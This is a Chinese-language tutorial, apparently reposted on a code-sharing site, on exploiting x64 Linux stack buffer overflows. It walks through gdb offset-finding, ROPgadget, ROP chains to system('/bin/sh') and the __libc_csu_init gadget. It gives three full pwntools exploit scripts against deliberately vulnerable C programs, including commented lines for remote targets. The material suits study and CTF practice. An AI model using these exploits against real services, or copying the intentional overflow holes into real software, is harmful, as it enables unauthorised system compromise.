Linux_x64_Pwn溢出漏洞


linux_64與linux_86的區別

linux_64與linux_86的區別主要有兩點:

首先是內存地址的范圍由32位變成了64位

但是可以使用的內存地址不能大於0x00007fffffffffff,否則會拋出異常。

其次是函數參數的傳遞方式發生了改變,x86中參數都是保存在棧上

但在x64中的前六個參數依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的參數的話才會保存在棧上

漏洞程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
   system("/bin/sh");
}

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
   write(STDOUT_FILENO, "Hello, World\n", 13);
   vulnerable_function();
}

打開ASLR並用如下方法編譯(默認打開)

gcc -fno-stack-protector vuln.c -o vuln

通過分析源碼,我們可以看到想要獲取這個程序的shell非常簡單

只需要控制PC指針跳轉到callsystem()這個函數的地址上即可。

因為程序本身在內存中的地址不是隨機的,所以不用擔心函數地址發生改變。

接下來就是要找溢出點了

peda$ pattern create 150 payload

然后運行gdb ./vuln后輸入這串字符串造成程序崩潰

peda$ r < payload

奇怪的事情發生了,PC指針並沒有指向類似於0x41414141那樣地址

而是停在了vulnerable_function()函數中

這是為什么呢?

原因就是我們之前提到過的程序使用的內存地址不能大於0x00007fffffffffff,否則會拋出異常。

但是,雖然PC不能跳轉到那個地址,我們依然可以通過棧來計算出溢出點。

因為ret相當於“pop rip”指令,所以我們只要看一下棧頂的數值就能知道PC跳轉的地址了

gdb-peda$ x/gx $rsp
0x7fffffffde58: 0x41416d4141514141

在GDB里,x是查看內存的指令,隨后的gx代表數值用64位16進制顯示

隨后我們就可以用pattern來計算溢出點

gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136

可以看到溢出點為136字節。

我們再構造一次payload,並且跳轉到一個小於0x00007fffffffffff的地址,看看這次能否控制pc的指針

python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
(gdb) run < payload

可以看到我們已經成功的控制了PC的指針了。

最終的exp如下

#!/usr/bin/env python
from pwn import *

elf = ELF('vuln')

p = process('./vuln')
#p = remote('127.0.0.1',10001)

callsystem = 0x0000000000400584

payload = "A"*136 + p64(callsystem)

p.send(payload)

p.interactive()

使用工具尋找gadgets

我們之前提到x86中參數都是保存在棧上,但在x64中前六個參數依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里

如果還有更多的參數的話才會保存在棧上

所以我們需要尋找一些類似於pop rdi; ret的這種gadget

如果是簡單的gadgets,我們可以通過objdump來查找

但當我們打算尋找一些復雜的gadgets的時候,還是借助於一些查找gadgets的工具比較方便

ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master

目標程序源碼

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
   void* handle = dlopen("libc.so.6", RTLD_LAZY);
   printf("%p\n",dlsym(handle,"system"));
   fflush(stdout);
}

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
   systemaddr();
   write(1, "Hello, World\n", 13);
   vulnerable_function();
}

編譯

gcc -fno-stack-protector vuln.c -o vuln -ldl

首先目標程序會打印system()在內存中的地址,這樣的話就不需要我們考慮ASLR的問題了

只需要想辦法觸發buffer overflow然后利用ROP執行system(“/bin/sh”)

但為了調用system(“/bin/sh”),我們需要找到一個gadget將rdi的值指向“/bin/sh”的地址

於是我們使用ROPGadget搜索一下vuln中所有pop ret的gadgets

$ ROPgadget --binary vuln --only "pop|ret" 
Gadgets information
============================================================
0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop r14 ; pop r15 ; ret
0x00000000004008b2 : pop r15 ; ret
0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x00000000004008b3 : pop rdi ; ret  #蒸米大佬那篇文章中說找不到,我這里找到了,但是在exp中無效,還是使用下面的解決辦法
0x00000000004008b1 : pop rsi ; pop r15 ; ret
0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400601 : ret
0x0000000000400682 : ret 0x2009
0x0000000000400291 : ret 0x521d

找不到,可能因為程序比較小,在目標程序中並不能找到pop rdi; ret這個gadget。

怎么辦呢?解決方案是尋找libc.so中的gadgets。

因為程序本身會load libc.so到內存中並且會打印system()的地址。

所以當我們找到gadgets后可以通過system()計算出偏移量后調用對應的gadgets。

$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret  #exp中用這個
0x0000000000067499 : pop rdi ; ret 0xffff

這樣就能成功的找到“pop rdi; ret”這個gadget了,也就可以構造我們的ROP鏈了

payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

另外,因為我們只需調用一次system()函數就可以獲取shell

所以我們也可以搜索不帶ret的gadgets來構造ROP鏈

$ ROPgadget --binary vuln --only "pop|call"Gadgets information
============================================================
0x000000000040078e : call rax

Unique gadgets found: 1

通過搜索結果我們發現,0x000000000040078e : call rax也可以完成我們的目標

首先將rax賦值為system()的地址,rdi賦值為“/bin/sh”的地址,最后再調用call rax即可

payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

所以說這兩個ROP鏈都可以完成我們的目標,隨便選擇一個進行攻擊即可

最終exp如下

#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')

p = process('./vuln')
#p = remote('127.0.0.1',10001)

binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)

pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset)

#pop_pop_call_offset = 0x000000000040078e - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)

print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)


pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)

#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)

p.recv()

payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) 

#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) 

print "\n##########sending payload##########\n"
p.send(payload)

p.interactive()

通用gadgets

因為程序在編譯過程中會加入一些通用函數用來進行初始化操作(比如加載libc.so的初始化函數)

所以雖然很多程序的源碼不同,但是初始化的過程是相同的

因此針對這些初始化函數,我們可以提取一些通用的gadgets加以使用,從而達到我們想要達到的效果。

為了方便學習x64下的ROP,前邊兩個程序都留了一些輔助函數在程序中

這次我們將這些輔助函數去掉再來挑戰一下。

目標程序如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
   write(STDOUT_FILENO, "Hello, World\n", 13);
   vulnerable_function();
}

可以看到這個程序僅僅只有一個buffer overflow,也沒有任何的輔助函數可以使用

所以我們要先想辦法泄露內存信息,找到system()的值

然后再傳遞“/bin/sh”到.bss段,最后調用system(“/bin/sh”)

因為原程序使用了write()和read()函數,我們可以通過write()去輸出write.got的地址

從而計算出libc.so在內存中的地址。

但問題在於write()的參數應該如何傳遞,因為x64下前6個參數不是保存在棧中,而是通過寄存器傳值。

我們使用ROPgadget並沒有找到類似於pop rdi, ret,pop rsi, ret這樣的gadgets。

那應該怎么辦呢?其實在x64下有一些萬能的gadgets可以利用

比如說我們用objdump -d ./vuln觀察一下__libc_csu_init()這個函數

一般來說,只要程序調用了libc.so,程序都會有這個函數用來對libc進行初始化操作

0000000000400660 <__libc_csu_init>:
 400660: 41 57               push   %r15
 400662: 41 56               push   %r14
 400664: 41 89 ff             mov   %edi,%r15d
 400667: 41 55               push   %r13
 400669: 41 54               push   %r12
40066b: 4c 8d 25 9e 07 20 00 lea   0x20079e(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
 400672: 55                   push   %rbp
 400673: 48 8d 2d 9e 07 20 00 lea   0x20079e(%rip),%rbp        # 600e18 <__init_array_end>
40067a: 53                   push   %rbx
40067b: 49 89 f6             mov   %rsi,%r14
40067e: 49 89 d5             mov   %rdx,%r13
 400681: 4c 29 e5             sub   %r12,%rbp
 400684: 48 83 ec 08         sub    $0x8,%rsp
 400688: 48 c1 fd 03         sar    $0x3,%rbp
40068c: e8 cf fd ff ff       callq  400460 <_init>
 400691: 48 85 ed             test   %rbp,%rbp
 400694: 74 20               je     4006b6 <__libc_csu_init+0x56>
 400696: 31 db               xor   %ebx,%ebx
 400698: 0f 1f 84 00 00 00 00 nopl   0x0(%rax,%rax,1)
40069f: 00
4006a0: 4c 89 ea             mov   %r13,%rdx
4006a3: 4c 89 f6             mov   %r14,%rsi
4006a6: 44 89 ff             mov   %r15d,%edi
4006a9: 41 ff 14 dc         callq *(%r12,%rbx,8)
4006ad: 48 83 c3 01         add    $0x1,%rbx
4006b1: 48 39 eb             cmp   %rbp,%rbx
4006b4: 75 ea               jne   4006a0 <__libc_csu_init+0x40>
4006b6: 48 83 c4 08         add    $0x8,%rsp
4006ba: 5b                   pop   %rbx
4006bb: 5d                   pop   %rbp
4006bc: 41 5c               pop   %r12
4006be: 41 5d               pop   %r13
4006c0: 41 5e               pop   %r14
4006c2: 41 5f               pop   %r15
4006c4: c3                   retq  
4006c5: 90                   nop
4006c6: 66 2e 0f 1f 84 00 00 nopw   %cs:0x0(%rax,%rax,1)
4006cd: 00 00 00

00000000004006d0 <__libc_csu_fini>:
4006d0: f3 c3               repz retq

我們可以看到利用0x4006ba處的代碼我們可以控制rbx、rbp、r12、r13、r14 和 r15 的值

隨后利用0x4006a0處的代碼我們將

r13 的值賦值給rdx

r14的值賦值給rsi

r15的值賦值給edi

隨后就會調用call qword ptr [r12+rbx*8]

這時候我們只要再將rbx的值賦值為0,再通過精心構造棧上的數據,

我們就可以控制pc去調用我們想要調用的函數了(比如說write函數)

執行完call qword ptr [r12+rbx*8]之后,程序會對rbx+=1

然后對比rbp和rbx的值,如果相等就會繼續向下執行並ret到我們想要繼續執行的地址。

所以為了讓rbp和rbx的值相等,我們可以將rbp的值設置為1,因為之前已經將rbx的值設置為0了。

大概思路就是這樣,我們來構造ROP鏈。

我們先構造payload1,利用write()輸出write在內存中的地址。

注意我們的gadget是call qword ptr [r12+rbx*8]

所以我們應該使用write.got的地址而不是write.plt的地址

並且為了返回到原程序中,重復利用buffer overflow的漏洞

我們需要繼續覆蓋棧上的數據,直到把返回值覆蓋成目標函數的main函數為止。

#rdi= edi = r13, rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

當我們exp在收到write()在內存中的地址后,就可以計算出system()在內存中的地址了。

接着我們構造payload2,利用read()將system()的地址以及“/bin/sh”讀入到.bss段內存中。

#rdi= edi = r13, rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x4006ba) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

最后我們構造payload3,調用system()函數執行“/bin/sh”。

注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字節上。

#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

最終exp如下:

#!python
#!/usr/bin/env python
from pwn import *

elf = ELF('vuln')
libc = ELF('libc.so.6')

p = process('./vuln')
#p = remote('127.0.0.1',10001)

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x400620 # gdb$ p main

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601048 # readelf -S vuln | grep bss

p.recvuntil("Hello, World\n")

#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x4006ba) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x4006ba) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4006a0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

要注意的是,當我們把程序的io重定向到socket上的時候

根據網絡協議,因為發送的數據包過大,read()有時會截斷payload,造成payload傳輸不完整造成攻擊失敗。

這時候要多試幾次即可成功,如果進行遠程攻擊的話,需要保證ping值足夠小才行(局域網)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM